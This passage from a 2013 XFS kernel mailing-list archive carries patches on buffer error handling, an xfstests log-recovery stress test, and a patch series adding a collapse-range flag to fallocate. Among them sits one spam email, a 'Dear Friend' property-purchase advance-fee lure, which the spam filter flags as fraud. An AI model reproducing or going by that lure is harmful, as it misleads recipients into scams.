there is no-one + * waiting to collect the error. + */ if (!(fl & XBF_ASYNC)) { - /* - * Mark b_error and B_ERROR _both_. - * Lot's of chunkcache code assumes that. - * There's no reason to mark error for - * ASYNC buffers. - */ xfs_buf_ioerror(bp, EIO); complete(&bp->b_iowait); } else { @@ -1160,11 +1155,15 @@ xfs_bdstrat_cb( if (XFS_FORCED_SHUTDOWN(bp->b_target->bt_mount)) { trace_xfs_bdstrat_shut(bp, _RET_IP_); /* - * Metadata write that didn't get logged but - * written delayed anyway. These aren't associated - * with a transaction, and can be ignored. + * If this is a cached write, then it is likely to be a delayed + * write metadata buffer that can be ignored because the + * contents are logged. If it's an uncached buffer or a read + * operation, then the caller will get the error through the + * normal IO completion path. We can tell if the buffer is + * cached or not by looking to see if the b_pag field is NULL or + * not. */ - if (!bp->b_iodone && !XFS_BUF_ISREAD(bp)) + if (!bp->b_iodone && !XFS_BUF_ISREAD(bp) && bp->b_pag) return xfs_bioerror_relse(bp); else return xfs_bioerror(bp); -- 1.8.3.2 From dave@fromorbit.com Mon Sep 2 06:46:36 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D00EB7F52 for ; Mon, 2 Sep 2013 06:46:35 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5F9C9AC002 for ; Mon, 2 Sep 2013 04:46:35 -0700 (PDT) X-ASG-Debug-ID: 1378122393-04cb6c153dce3ce0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id EcgH4h6c50hah0IJ for ; Mon, 02 Sep 2013 04:46:33 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ao8HABB6JFJ5LJ62/2dsb2JhbABagwetepUjF3SCJAFcOxhqAzSIAZg9oGmOSIVbA6lbgzIqgS0 Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 02 Sep 2013 21:16:32 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VGSaV-0000zk-LD for xfs@oss.sgi.com; Mon, 02 Sep 2013 21:46:31 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VGSaV-0000G6-KO for xfs@oss.sgi.com; Mon, 02 Sep 2013 21:46:31 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH V2] xfstests: add fsstress/recovery test for XFS Date: Mon, 2 Sep 2013 21:46:31 +1000 X-ASG-Orig-Subj: [PATCH V2] xfstests: add fsstress/recovery test for XFS Message-Id: <1378122391-962-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378122393 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140116 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner This has found several issues with recovery on CRC based filesystems. It is based on a test case for a dir3 assert failure provided by Michael L Semon. The test seems to pass now fine with or without CRCs enabled with all the kernel patches I've posted over the past day. Signed-off-by: Dave Chinner --- tests/xfs/300 | 105 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/xfs/300.out | 2 ++ tests/xfs/group | 1 + 3 files changed, 108 insertions(+) create mode 100644 tests/xfs/300 create mode 100644 tests/xfs/300.out diff --git a/tests/xfs/300 b/tests/xfs/300 new file mode 100644 index 0000000..38ecd65 --- /dev/null +++ b/tests/xfs/300 @@ -0,0 +1,105 @@ +#!/bin/bash +# FS QA Test No. xfs/300 +# +# Basic log recovery stress test - do lots of stuff, shut down in the middle of +# it and check that recovery runs to completion and everything can be +# successfully removed afterwards.. +# +#----------------------------------------------------------------------- +# Copyright (c) 2013 Red Hat, Inc. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +_cleanup() +{ + cd / + umount $SCRATCH_MNT 2>/dev/null + rm -f $tmp.* +} +trap "_cleanup; exit \$status" 0 1 2 3 15 + +# real QA test starts here +_supported_fs xfs +_supported_os Linux + +_require_scratch + +rm -f $seqres.full + +_scratch_mkfs > $seqres.full 2>&1 +_scratch_mount + +SLEEP_TIME=$((30 * $TIME_FACTOR)) +PROCS=$((2 * LOAD_FACTOR)) + +load_dir=$SCRATCH_MNT/test + +# let this run for a while +$FSSTRESS_PROG -n10000000 -p $PROCS -d $load_dir >> $seqres.full 2>&1 & +sleep $SLEEP_TIME +killall -q $FSSTRESS_PROG +wait +sync +umount $SCRATCH_MNT + +# now mount again, run the load again, this time with a shutdown. +_scratch_mount +$XFS_FSR_PROG -v $load_dir >> $seqres.full 2>&1 +$FSSTRESS_PROG -n10000000 -p $PROCS -d $load_dir >> $seqres.full 2>&1 & +sleep $SLEEP_TIME +sync + +# now shutdown and unmount +sleep 5 +$here/src/godown $load_dir +killall -q $FSSTRESS_PROG +wait + +# for some reason fsstress processes manage to live on beyond the wait? +sleep 5 +umount $SCRATCH_MNT + +# now recover, check the filesystem for consistency +_scratch_mount +umount $SCRATCH_MNT +_check_scratch_fs + +# now clean up. +_scratch_mount +for d in $load_dir/*; do + rm -rf $d > /dev/null 2>&1 & +done +wait +umount $SCRATCH_MNT +_check_scratch_fs + +echo "No output is good. Failures are loud." + +status=0 +exit diff --git a/tests/xfs/300.out b/tests/xfs/300.out new file mode 100644 index 0000000..c763112 --- /dev/null +++ b/tests/xfs/300.out @@ -0,0 +1,2 @@ +QA output created by 300 +No output is good. Failures are loud. diff --git a/tests/xfs/group b/tests/xfs/group index 352a4c5..3f1702a 100644 --- a/tests/xfs/group +++ b/tests/xfs/group @@ -179,3 +179,4 @@ 297 auto freeze 298 auto attr symlink quick 299 auto quota +300 auto stress log metadata repair -- 1.8.3.2 From df-ananas@tjto.jus.br Mon Sep 2 08:13:12 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.1 required=5.0 tests=DEAR_FRIEND, FREEMAIL_FORGED_REPLYTO,FREEMAIL_REPLYTO_END_DIGIT autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6A0BE7F52 for ; Mon, 2 Sep 2013 08:13:12 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4A1CB8F804C for ; Mon, 2 Sep 2013 06:13:09 -0700 (PDT) X-ASG-Debug-ID: 1378127581-04bdf02f20d14b70001-w1Z2WR Received: from webmail.tjto.jus.br (pop3.tjto.jus.br [189.10.44.210]) by cuda.sgi.com with ESMTP id bn9t7GbQFhbabt03 for ; Mon, 02 Sep 2013 06:13:04 -0700 (PDT) X-Barracuda-Envelope-From: df-ananas@tjto.jus.br X-Barracuda-Apparent-Source-IP: 189.10.44.210 Received: by webmail.tjto.jus.br (Postfix, from userid 65534) id 7EC705F0374; Mon, 2 Sep 2013 10:12:58 -0300 (BRT) Received: from tjto.jus.br (localhost [127.0.0.1]) by webmail.tjto.jus.br (Postfix) with ESMTP id B335A5E26B3; Mon, 2 Sep 2013 09:01:18 -0300 (BRT) From: "df-ananas" Reply-To: dennistamapatuwairua66@hotmail.com Subject: Dear Friend Date: Mon, 2 Sep 2013 10:01:18 -0200 X-ASG-Orig-Subj: Dear Friend Message-Id: <20130902120110.M14090@tjto.jus.br> X-Mailer: Poder Judiciario do Estado do Tocantins tjto.jus.br X-OriginatingIP: 41.203.69.5 (df-ananas) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 To: undisclosed-recipients:; X-Barracuda-Connect: pop3.tjto.jus.br[189.10.44.210] X-Barracuda-Start-Time: 1378127583 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.70 X-Barracuda-Spam-Status: No, SCORE=1.70 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=ADVANCE_FEE_1, BSF_SC0_SA620a, BSF_SC7_SA298e, DEAR_FRIEND X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140123 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.00 DEAR_FRIEND BODY: Dear Friend? That's not very dear! 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) 0.50 BSF_SC0_SA620a Custom Rule SA620a 0.20 BSF_SC7_SA298e Custom Rule SA298e Dear Friend, I am Mr Dennis Tama Patuwairua ,I write to tell you that i want you to assist me get a nice property to buy in your location. Kindly get back to me for further details. Regards Contact Email:dennis@email.biz From linkinjeon@gmail.com Mon Sep 2 09:28:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id EFA577F52 for ; Mon, 2 Sep 2013 09:28:54 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id DEE3A30404E for ; Mon, 2 Sep 2013 07:28:51 -0700 (PDT) X-ASG-Debug-ID: 1378132130-04cb6c2e9dcf1690001-NocioJ Received: from mail-pa0-f49.google.com (mail-pa0-f49.google.com [209.85.220.49]) by cuda.sgi.com with ESMTP id 0x5cmN4CHH9UcGYd (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 02 Sep 2013 07:28:50 -0700 (PDT) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.220.49 Received: by mail-pa0-f49.google.com with SMTP id ld10so5256160pab.36 for ; Mon, 02 Sep 2013 07:28:50 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=6ZF3nZN12WD4dTONYlFI5p+ittDJp3xy/PBk42im5Dk=; b=wFzUfzUeIxZEa879sryzTdsx06GeO96gAMSE8XbYtKOqw8l8HSLoKXMlCQweIc/rWk 9Asddwo7eXjbVe0izmlpkpgKMyydyDQYjM2ugz5U3QtMltk5GqbV4jKxgEGlyBg7ofGa hfIg6qTPubMUPpP8zrxW4woCza5hN10JYBp5J2FsxvJdASeT0NeZEggTan28LqD8Fc3B NyFRTsPhmnW2zM74IJBBOgRaZHeiogdX0bGh25rex43NqeGXgA508aKhdLhqKrHNKDqZ TCrClrri+ZovAHQP2SrGpyWTjXmnJbV7jU3VGraGQoqqBVDAj+gyrcmsyGSR0NQv266M 6VEw== X-Barracuda-BBL-IP: nil X-Received: by 10.68.189.70 with SMTP id gg6mr8635114pbc.123.1378132130202; Mon, 02 Sep 2013 07:28:50 -0700 (PDT) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.169]) by mx.google.com with ESMTPSA id yo2sm17518187pab.8.1969.12.31.16.00.00 (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 02 Sep 2013 07:28:49 -0700 (PDT) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.169 To: viro@zeniv.linux.org.uk, mtk.manpages@gmail.com, tytso@mit.edu, adilger.kernel@dilger.ca, bpm@sgi.com, elder@kernel.org, hch@infradead.org, david@fromorbit.com Cc: linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com, a.sangwan@samsung.com, Namjae Jeon , Namjae Jeon Subject: [PATCH v2 0/7] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Date: Mon, 2 Sep 2013 23:28:38 +0900 X-ASG-Orig-Subj: [PATCH v2 0/7] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Message-Id: <1378132118-2617-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pa0-f49.google.com[209.85.220.49] X-Barracuda-Start-Time: 1378132130 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140129 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon This patch series is in response of the following post: http://lwn.net/Articles/556136/ "ext4: introduce two new ioctls" Dave chinner suggested that truncate_block_range (which was one of the ioctls name) should be an fallocate operation and not any fs specific ioctl, hence we add this functionality to fallocate. This patch series introduces new flag FALLOC_FL_COLLAPSE_RANGE for fallocate and implements it for XFS and Ext4. The semantics of this flag are following: 1) It collapses the range lying between offset and length by removing any data blocks which are present in this range and than updates all the logical offsets of extents beyond "offset + len" to nullify the hole created by removing blocks. In short, it does not leave a hole. 2) It should be used exclusively. No other fallocate flag in combination. 3) Offset and length supplied to fallocate should be fs block size aligned. This new functionality of collapsing range could be used by media editing tools which does non linear editing to quickly purge and edit parts of a media file. This will immensely improve the performance of these operations. The limitation of fs block size aligned offsets can be easily handled by media codecs which are encapsulated in a conatiner as they have to just change the offset to next keyframe value to match the proper alignment. Change log v2: Fix review points from Dave Chinner. - merge adjacent extents - fix journal log usage. - change reasonable function name. - update xfsio, xfstest, manpage - etc. Namjae Jeon (7): fs: add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate xfs: add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate ext4: add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate xfsprogs: xfsio: add support FALLOC_FL_COLLAPSE_RANGE for fallocate xfstest: Add test case to check various corner cases for collapsing range xfstest: Add test case to test multiple collapse range call manpage: update FALLOC_FL_COLLAPSE_RANGE flag in fallocate -- 1.7.9.5 From linkinjeon@gmail.com Mon Sep 2 09:29:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E5AE87F58 for ; Mon, 2 Sep 2013 09:29:09 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 73AB7AC009 for ; Mon, 2 Sep 2013 07:29:06 -0700 (PDT) X-ASG-Debug-ID: 1378132144-04cb6c2e9dcf16b0001-NocioJ Received: from mail-pd0-f181.google.com (mail-pd0-f181.google.com [209.85.192.181]) by cuda.sgi.com with ESMTP id KAhbi4VHM65WmewK (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 02 Sep 2013 07:29:05 -0700 (PDT) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.192.181 Received: by mail-pd0-f181.google.com with SMTP id g10so4844875pdj.12 for ; Mon, 02 Sep 2013 07:29:04 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=JvlyyQyT6WMoP/IQN1oMKt5Njlu4RqYeZ4VCisIpGiM=; b=YrW0ALV5RGDFVIC3PAWNh94tzZ+Es5bL7NEy5PKRSh9LdsJZ6usHtR5985OFXWOSv8 NM49DNeXdso3KToc91ZjVN2RAimyNGHjphb0Sxedh4HtP4LqTEBjYBjkYbgLHA1SktLN R1zVeEd9IYhzmGZhj0ys1FU1WIrgEDkh9dmUN2QvpIdkDOO8ck5r9ojG3OEIDnuaNDMH 3tr2TQrItJQZUfx+0Quu7sDDeRFctiYstudd0BQygf8E8zGDsF5X74El8CYhXX8EToqS SJtiTA8whfu0MraoBouSP2yLDQr6yuEDcJuJtXmn7T+nqA0CQRl/T1CKL48U9Dsam5DM thxA== X-Barracuda-BBL-IP: nil X-Received: by 10.68.194.104 with SMTP id hv8mr3157267pbc.168.1378132144768; Mon, 02 Sep 2013 07:29:04 -0700 (PDT) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.169]) by mx.google.com with ESMTPSA id pu5sm17494160pac.21.1969.12.31.16.00.00 (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 02 Sep 2013 07:29:04 -0700 (PDT) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.169 To: viro@zeniv.linux.org.uk, mtk.manpages@gmail.com, tytso@mit.edu, adilger.kernel@dilger.ca, bpm@sgi.com, elder@kernel.org, hch@infradead.org, david@fromorbit.com Cc: linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com, a.sangwan@samsung.com, Namjae Jeon , Namjae Jeon Subject: [PATCH v2 1/7] fs: add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Date: Mon, 2 Sep 2013 23:28:56 +0900 X-ASG-Orig-Subj: [PATCH v2 1/7] fs: add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Message-Id: <1378132136-2651-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pd0-f181.google.com[209.85.192.181] X-Barracuda-Start-Time: 1378132145 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140129 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon Add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate. updated detailed semantics in comments. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- fs/open.c | 24 +++++++++++++++++++++--- include/uapi/linux/falloc.h | 17 +++++++++++++++++ 2 files changed, 38 insertions(+), 3 deletions(-) diff --git a/fs/open.c b/fs/open.c index 7931f76..85d243a 100644 --- a/fs/open.c +++ b/fs/open.c @@ -225,12 +225,14 @@ int do_fallocate(struct file *file, int mode, loff_t offset, loff_t len) { struct inode *inode = file_inode(file); long ret; + unsigned blksize_mask = (1 << inode->i_blkbits) - 1; if (offset < 0 || len <= 0) return -EINVAL; /* Return error if mode is not supported */ - if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE)) + if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | + FALLOC_FL_COLLAPSE_RANGE)) return -EOPNOTSUPP; /* Punch hole must have keep size set */ @@ -241,8 +243,12 @@ int do_fallocate(struct file *file, int mode, loff_t offset, loff_t len) if (!(file->f_mode & FMODE_WRITE)) return -EBADF; - /* It's not possible punch hole on append only file */ - if (mode & FALLOC_FL_PUNCH_HOLE && IS_APPEND(inode)) + /* + * It's not possible to punch hole or perform collapse range + * on append only file + */ + if (mode & (FALLOC_FL_PUNCH_HOLE | FALLOC_FL_COLLAPSE_RANGE) + && IS_APPEND(inode)) return -EPERM; if (IS_IMMUTABLE(inode)) @@ -270,6 +276,18 @@ int do_fallocate(struct file *file, int mode, loff_t offset, loff_t len) if (((offset + len) > inode->i_sb->s_maxbytes) || ((offset + len) < 0)) return -EFBIG; + /* + * Collapse range works only on fs block size aligned offsets. + * Check if collapse range is contained within (aligned)i_size. + * Collapse range can only be used exclusively. + */ + if ((mode & FALLOC_FL_COLLAPSE_RANGE) && + (offset & blksize_mask || len & blksize_mask || + mode & ~FALLOC_FL_COLLAPSE_RANGE || + (offset + len > + round_up(i_size_read(inode), (blksize_mask + 1))))) + return -EINVAL; + if (!file->f_op->fallocate) return -EOPNOTSUPP; diff --git a/include/uapi/linux/falloc.h b/include/uapi/linux/falloc.h index 990c4cc..9614b72 100644 --- a/include/uapi/linux/falloc.h +++ b/include/uapi/linux/falloc.h @@ -4,6 +4,23 @@ #define FALLOC_FL_KEEP_SIZE 0x01 /* default is extend size */ #define FALLOC_FL_PUNCH_HOLE 0x02 /* de-allocates range */ #define FALLOC_FL_NO_HIDE_STALE 0x04 /* reserved codepoint */ +/* + * FALLOC_FL_COLLAPSE_RANGE: + * This flag works in 2 steps. + * Firstly, it deallocates any data blocks present between [offset, offset+len) + * This step is same as punch hole and leaves a hole in the place from where + * the blocks are removed. + * Next, it eliminates the hole created by moving data blocks into it. + * For extent based file systems, we achieve this functionality simply by + * updating the starting logical offset of each extent which appears beyond + * the hole. As this flag works on blocks of filesystem, the offset and len + * provided to fallocate should be aligned with block size of filesystem. + * The semantics of this flag are: + * 1) It should be used exclusively. No other fallocate flag in combination. + * 2) Offset and len supplied to fallocate should be aligned with block size. + * 3) (offset + len) could not be greater than file size. + */ +#define FALLOC_FL_COLLAPSE_RANGE 0x08 /* it does not leave a hole */ #endif /* _UAPI_FALLOC_H_ */ -- 1.7.9.5 From linkinjeon@gmail.com Mon Sep 2 09:29:23 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BAE747F5F for ; Mon, 2 Sep 2013 09:29:23 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7020E8F8049 for ; Mon, 2 Sep 2013 07:29:20 -0700 (PDT) X-ASG-Debug-ID: 1378132158-04bdf02f21d16a20001-NocioJ Received: from mail-pb0-f52.google.com (mail-pb0-f52.google.com [209.85.160.52]) by cuda.sgi.com with ESMTP id 64stlJKlDETlwV4d (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 02 Sep 2013 07:29:18 -0700 (PDT) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.160.52 Received: by mail-pb0-f52.google.com with SMTP id wz12so4785379pbc.39 for ; Mon, 02 Sep 2013 07:29:18 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=sSkC1bjcMkxLFRHxsrFXCoARHJp32WeELI6RufSRg0Q=; b=ahkzyljRq6gJup3RLi2PylbikRDGB+INoaGkYX6OFlRIjbS0C1mogh3jRMd4e4sYQI YEOAyliT0nYqPRgGitQ5MSnrqgEPNwpd8o9enmwJKE8rYa8bCnzGY7shS8SyS98/vdK2 hki4gLMrOLZCKlqnTsckWTZNEY2G++HZ6cUBRzHrbirnE9wYKMhtI4QqDGamwRZ5PZd8 jqw8KKROIPGTJv/kFPEcMlgiBZNEdHJj9w2iU5Iw22wrRvOa9K8JbI6+XWPhnfcocPX9 v/C+dCQRBBN88iSfBdUtedJaXaYkDBwcKl+0TOg+9HQm0FFDbSCifT6OYMbp4nqMAKtX hO5w== X-Barracuda-BBL-IP: nil X-Received: by 10.69.13.132 with SMTP id ey4mr25964877pbd.52.1378132158579; Mon, 02 Sep 2013 07:29:18 -0700 (PDT) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.169]) by mx.google.com with ESMTPSA id hx1sm16239004pbb.35.1969.12.31.16.00.00 (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 02 Sep 2013 07:29:18 -0700 (PDT) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.169 To: viro@zeniv.linux.org.uk, mtk.manpages@gmail.com, tytso@mit.edu, adilger.kernel@dilger.ca, bpm@sgi.com, elder@kernel.org, hch@infradead.org, david@fromorbit.com Cc: linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com, a.sangwan@samsung.com, Namjae Jeon , Namjae Jeon Subject: [PATCH v2 2/7] xfs: add support FALLOC_FL_COLLAPSE_RANGE for fallocate Date: Mon, 2 Sep 2013 23:29:11 +0900 X-ASG-Orig-Subj: [PATCH v2 2/7] xfs: add support FALLOC_FL_COLLAPSE_RANGE for fallocate Message-Id: <1378132151-2685-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pb0-f52.google.com[209.85.160.52] X-Barracuda-Start-Time: 1378132158 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140129 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon Add support FALLOC_FL_COLLAPSE_RANGE for fallocate. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- fs/xfs/xfs_bmap.c | 174 ++++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_bmap.h | 3 + fs/xfs/xfs_bmap_util.c | 96 ++++++++++++++++++++++++++ fs/xfs/xfs_bmap_util.h | 2 + fs/xfs/xfs_file.c | 20 ++++-- fs/xfs/xfs_fs.h | 6 ++ 6 files changed, 296 insertions(+), 5 deletions(-) diff --git a/fs/xfs/xfs_bmap.c b/fs/xfs/xfs_bmap.c index 92b8309..c12358e 100644 --- a/fs/xfs/xfs_bmap.c +++ b/fs/xfs/xfs_bmap.c @@ -5356,3 +5356,177 @@ error0: } return error; } + +/* + * Update extents by shifting them downwards into a hole. + * At max count number of extents will be shifted and *current_ext + * is the extent number which is currently being shifted. + * This function will return error if the hole is not present + * while shifting extents. On success, 0 is returned. + */ +int +xfs_bmap_shift_extents( + struct xfs_trans *tp, + struct xfs_inode *ip, + int *done, + xfs_fileoff_t start_fsb, + xfs_fileoff_t shift, + xfs_extnum_t *current_ext, + xfs_fsblock_t *firstblock, + struct xfs_bmap_free *flist, + int count) +{ + struct xfs_btree_cur *cur; + struct xfs_bmbt_rec_host *gotp; + struct xfs_bmbt_irec left; + struct xfs_mount *mp = ip->i_mount; + 